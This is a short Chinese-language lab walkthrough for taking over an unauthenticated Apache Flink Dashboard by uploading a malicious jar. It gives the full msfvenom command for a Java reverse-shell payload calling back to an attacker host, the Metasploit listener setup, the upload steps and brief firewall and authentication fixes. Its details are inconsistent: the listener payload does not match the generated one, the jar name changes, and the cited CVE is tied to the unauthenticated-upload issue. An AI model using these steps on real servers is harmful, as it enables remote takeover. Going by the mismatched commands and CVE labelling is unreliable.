Apache Flink漏洞复现(未授权访问&上传jar包getshell)
一、Flink简介
Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
二、漏洞介绍
Apache Flink Dashboard默认没有用户权限认证
攻击者可以通过未授权的Flink Dashboard控制台
直接上传木马jar包
可远程执行任意系统命令获取服务器权限
三、影响范围
Apache Flink <= 1.9.1
四、环境搭建
使用vulhub进行安装
Vulhub地址:
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
进入目录
cd vulhub-master/flink/CVE-2020-17518
安装环境
docker-compose up -d
五、漏洞检测
1、访问ip:8081
2、利用msfovenom生成rce.jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.131 LPORT=4444 -f jar > rce.jar
3、配置msf监听
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 192.168.0.131
set LPORT 4444
show options
run
4、在Submit New Job处上传rec.jar文件,点击submit
5.成功getshell
六、修复建议
针对Apache Flink Dashboard 设置防火墙策略
禁止Dashboard对外访问或确保只对可信端点开放
仅允许白名单IP进行访问
并在Web代理中增加对该服务的Digest认证
防止未授权访问
关于认证设置可参考链接:
https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html
参考文章:
https://mp.weixin.qq.com/s/ASRGJJmxpMgNmFoSZoWhfQ